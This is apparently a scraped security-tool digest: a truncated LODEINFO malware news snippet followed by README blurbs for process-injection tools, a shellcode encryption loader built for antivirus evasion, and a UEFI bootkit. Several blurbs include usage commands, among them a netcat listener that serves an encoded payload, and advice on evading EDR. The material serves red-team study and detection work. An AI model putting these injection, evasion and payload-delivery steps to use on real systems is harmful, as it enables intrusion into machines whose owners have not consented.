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LODEINFO Fileless Malware Evolves with Anti-Analysis and Remote Code Tricks

Cybersecurity researchers have uncovered an updated version of a backdoor called LODEINFO that's distributed via spear-phishing attacks. The findings come from Japanese company ITOCHU Cyber & Intelligence, which said the malware "has been updated with new features, as well as changes to the anti-analysis (analysis avoidance) techniques." LODEINFO (versions 0.6.6 and 0.6.7

DllNotificationInjection - A POC Of A New "Threadless" Process Injection Technique That Works By Utilizing The Concept Of DLL Notification Callbacks In Local And Remote Processes

By: Zion3R

DllNotificationInection is a POC of a new β€œthreadless” process injection technique that works by utilizing the concept of DLL Notification Callbacks in local and remote processes.

An accompanying blog post with more details is available here:

https://shorsec.io/blog/dll-notification-injection/


How It Works?

DllNotificationInection works by creating a new LDR_DLL_NOTIFICATION_ENTRY in the remote process. It inserts it manually into the remote LdrpDllNotificationList by patching of the List.Flink of the list head and the List.Blink of the first entry (now second) of the list.

Our new LDR_DLL_NOTIFICATION_ENTRY will point to a custom trampoline shellcode (built with @C5pider's ShellcodeTemplate project) that will restore our changes and execute a malicious shellcode in a new thread using TpWorkCallback.

After manually registering our new entry in the remote process we just need to wait for the remote process to trigger our DLL Notification Callback by loading or unloading some DLL. This obviously doesn't happen in every process regularly so prior work finding suitable candidates for this injection technique is needed. From my brief searching, it seems that RuntimeBroker.exe and explorer.exe are suitable candidates for this, although I encourage you to find others as well.

OPSEC Notes

This is a POC. In order for this to be OPSEC safe and evade AV/EDR products, some modifications are needed. For example, I used RWX when allocating memory for the shellcodes - don't be lazy (like me) and change those. One also might want to replace OpenProcess, ReadProcessMemory and WriteProcessMemory with some lower level APIs and use Indirect Syscalls or (shameless plug) HWSyscalls. Maybe encrypt the shellcodes or even go the extra mile and modify the trampoline shellcode to suit your needs, or at least change the default hash values in @C5pider's ShellcodeTemplate project which was utilized to create the trampoline shellcode.

Acknowledgments



ProcessStomping - A Variation Of ProcessOverwriting To Execute Shellcode On An Executable'S Section

By: Zion3R


A variation of ProcessOverwriting to execute shellcode on an executable's section

What is it

For a more detailed explanation you can read my blog post

Process Stomping, is a variation of hasherezade’s Process Overwriting and it has the advantage of writing a shellcode payload on a targeted section instead of writing a whole PE payload over the hosting process address space.

These are the main steps of the ProcessStomping technique:

  1. CreateProcess - setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004) in order to suspend the processes primary thread.
  2. WriteProcessMemory - used to write each malicious shellcode to the target process section.
  3. SetThreadContext - used to point the entrypoint to a new code section that it has written.
  4. ResumeThread - self-explanatory.

As an example application of the technique, the PoC can be used with sRDI to load a beacon dll over an executable RWX section. The following picture describes the steps involved.


Disclaimer

All information and content is provided for educational purposes only. Follow instructions at your own risk. Neither the author nor his employer are responsible for any direct or consequential damage or loss arising from any person or organization.

Credits

This work has been made possible because of the knowledge and tools shared by Aleksandra Doniec @hasherezade and Nick Landers.

Usage

Select your target process and modify global variables accordingly in ProcessStomping.cpp.

Compile the sRDI project making sure that the offset is enough to jump over your generated sRDI shellcode blob and then update the sRDI tools:

cd \sRDI-master

python .\lib\Python\EncodeBlobs.py .\

Generate a Reflective-Loaderless dll payload of your choice and then generate sRDI shellcode blob:

python .\lib\Python\ConvertToShellcode.py -b -f "changethedefault" .\noRLx86.dll

The shellcode blob can then be xored with a key-word and downloaded using a simple socket

python xor.py noRLx86.bin noRLx86_enc.bin Bangarang

Deliver the xored blob upon connection

nc -vv -l -k -p 8000 -w 30 < noRLx86_enc.bin

The sRDI blob will get erased after execution to remove unneeded artifacts.

Caveats

To successfully execute this technique you should select the right target process and use a dll payload that doesn't come with a User Defined Reflective loader.

Detection opportunities

Process Stomping technique requires starting the target process in a suspended state, changing the thread's entry point, and then resuming the thread to execute the injected shellcode. These are operations that might be considered suspicious if performed in quick succession and could lead to increased scrutiny by some security solutions.



Dvenom - Tool That Provides An Encryption Wrapper And Loader For Your Shellcode

By: Zion3R


Double Venom (DVenom) is a tool that helps red teamers bypass AVs by providing an encryption wrapper and loader for your shellcode.

  • Capable of bypassing some well-known antivirus (AVs).
  • Offers multiple encryption methods including RC4, AES256, XOR, and ROT.
  • Produces source code in C#, Rust, PowerShell, ASPX, and VBA.
  • Employs different shellcode loading techniques: VirtualAlloc, Process Injection, NT Section Injection, Hollow Process Injection.

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

  • Golang installed.
  • Basic understanding of shellcode operations.
  • Familiarity with C#, Rust, PowerShell, ASPX, or VBA.

To clone and run this application, you'll need Git installed on your computer. From your command line:

# Clone this repository
$ git clone https://github.com/zerx0r/dvenom
# Go into the repository
$ cd dvenom
# Build the application
$ go build /cmd/dvenom/

After installation, you can run the tool using the following command:

./dvenom -h

  • -e: Specify the encryption type for the shellcode (Supported types: xor, rot, aes256, rc4).
  • -key: Provide the encryption key.
  • -l: Specify the language (Supported languages: cs, rs, ps1, aspx, vba).
  • -m: Specify the method type (Supported types: valloc, pinject, hollow, ntinject).
  • -procname: Provide the process name to be injected (default is "explorer").
  • -scfile: Provide the path to the shellcode file.

To generate c# source code that contains encrypted shellcode.

Note that if AES256 has been selected as an encryption method, the Initialization Vector (IV) will be auto-generated.

./dvenom -e aes256 -key secretKey -l cs -m ntinject -procname explorer -scfile /home/zerx0r/shellcode.bin > ntinject.cs

Language Supported Methods Supported Encryption
C# valloc, pinject, hollow, ntinject xor, rot, aes256, rc4
Rust pinject, hollow, ntinject xor, rot, rc4
PowerShell valloc, pinject xor, rot
ASPX valloc xor, rot
VBA valloc xor, rot

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

This project is licensed under the MIT License - see the LICENSE file for details.

Double Venom (DVenom) is intended for educational and ethical testing purposes only. Using DVenom for attacking targets without prior mutual consent is illegal. The tool developer and contributor(s) are not responsible for any misuse of this tool.



Bootlicker - A Generic UEFI Bootkit Used To Achieve Initial Usermode Execution

By: Zion3R


bootlicker is a legacy, extensible UEFI firmware rootkit targeting vmware hypervisor virtual machines. It is designed to achieve initial code execution within the context of the windows kernel, regardless of security settings configured.


Architecture

bootlicker takes its design from the legacy CosmicStrain, MoonBounce, and ESPECTRE rootkits to achive arbitrary code excution without triggering patchguard or other related security mechanisms.

After initial insertion into a UEFI driver firmware using the the injection utility, the shellcodes EfiMain achieves execution as the host starts up, and inserts a hook into the UEFI firmware's ExitBootServices routine. The ExitBootServices routine will then, on execution, find the source caller of the function, and if it matches WinLoad.EFI, attempts to find the unexported winload.efi!OslArchTransferToKernel routine, which will allow us to att ack the booting kernel before it achieves its initial execution.

Once OslArchTransferToKernel executes, it will search for the ACPI.SYS driver, find the .rsrc PE section, and inject a small stager shellcode entrypoint called DrvMain to copy over a larger payload that will act as our kernel implant.

Resources

Entirely based upon d_olex / cr4sh's DmaBackdoorBoot

Epilogue

This code is apart of a larger project I've been working on that on / off in between burnout, like most of the concepts I've produced over the years under various aliases, will never see the light of day. Some of the code comments I've been to lazy to strip out that refer to unrelated functiaonlity, despite it being previously present. Do not expect this to work out of the box, some slight modifications are certainly necessary.



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